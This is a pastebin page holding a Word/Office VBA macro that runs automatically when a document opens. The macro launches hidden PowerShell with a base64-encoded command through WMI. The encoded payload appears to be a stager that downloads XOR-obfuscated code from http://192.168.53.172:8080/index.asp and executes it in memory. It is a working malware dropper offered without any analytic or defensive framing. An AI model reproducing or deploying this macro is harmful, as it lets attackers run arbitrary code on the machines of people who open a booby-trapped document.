Pastebin

Paste #4942: tst

< previous paste - next paste>

Pasted by tst

Download View as text

Sub AutoOpen()
	Debugging
End Sub

Sub Document_Open()
	Debugging
End Sub

Public Function Debugging() As Variant
	Dim Str As String
	str = "powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBT"
	str = str + "AHkAcwB0AEUATQAuAE4AZQB0AC4AUwBlAHIAVgBpAEMARQBQAE"
	str = str + "8AaQBuAFQATQBBAG4AYQBHAEUAcgBdADoAOgBFAHgAcABFAEMA"
	str = str + "dAAxADAAMABDAG8ATgB0AGkATgB1AEUAIAA9ACAAMAA7ACQAVw"
	str = str + "BjAD0ATgBlAHcALQBPAEIASgBlAGMAVAAgAFMAeQBTAHQAZQBt"
	str = str + "AC4ATgBFAFQALgBXAGUAQgBDAGwAaQBFAG4AVAA7ACQAdQA9AC"
	str = str + "cATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8A"
	str = str + "dwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVA"
	str = str + "ByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAw"
	str = str + "ACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAE"
	str = str + "gARQBhAGQAZQBSAFMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEA"
	str = str + "ZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBPAFgAeQ"
	str = str + "AgAD0AIABbAFMAWQBzAFQAZQBNAC4ATgBFAFQALgBXAGUAYgBS"
	str = str + "AEUAcQB1AEUAcwBUAF0AOgA6AEQARQBGAGEAdQBsAHQAVwBlAE"
	str = str + "IAUAByAE8AWAB5ADsAJABXAGMALgBQAHIATwBYAHkALgBDAFIA"
	str = str + "ZQBkAGUAbgB0AEkAQQBMAHMAIAA9ACAAWwBTAHkAUwBUAEUAbQ"
	str = str + "AuAE4ARQB0AC4AQwBSAGUARABFAG4AdABJAEEAbABDAEEAQwBI"
	str = str + "AGUAXQA6ADoARABlAGYAQQBVAGwAVABOAEUAdAB3AG8AUgBLAE"
	str = str + "MAUgBFAEQAZQBuAFQAaQBhAGwAcwA7ACQASwA9ACcAbABnADAA"
	str = str + "fQBUAF4ALABOAHcAcwA5AEQAOwAzAFoATQBjAEkAeQB+ACMARQ"
	str = str + "BcAC0ARwA1AGEAUgB8AGsAKwBdACcAOwAkAEkAPQAwADsAWwBj"
	str = str + "AEgAQQBSAFsAXQBdACQAYgA9ACgAWwBDAGgAYQBSAFsAXQBdAC"
	str = str + "gAJABXAEMALgBEAE8AVwBOAEwATwBhAEQAUwBUAHIASQBuAGcA"
	str = str + "KAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADUAMw"
	str = str + "AuADEANwAyADoAOAAwADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBw"
	str = str + "ACIAKQApACkAfAAlAHsAJABfAC0AQgBYAG8AUgAkAGsAWwAkAE"
	str = str + "kAKwArACUAJABrAC4ATABlAE4AZwB0AEgAXQB9ADsASQBFAFgA"
	str = str + "IAAoACQAYgAtAGoAbwBpAE4AJwAnACkA"
	Const HIDDEN_WINDOW = 0
	strComputer = "."
	Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
	Set objStartup = objWMIService.Get("Win32_ProcessStartup")
	Set objConfig = objStartup.SpawnInstance_
	objConfig.ShowWindow = HIDDEN_WINDOW
	Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
	objProcess.Create str, Null, objConfig, intProcessID
End Function

New Paste


Do not write anything in this field if you're a human.

Go to most recent paste.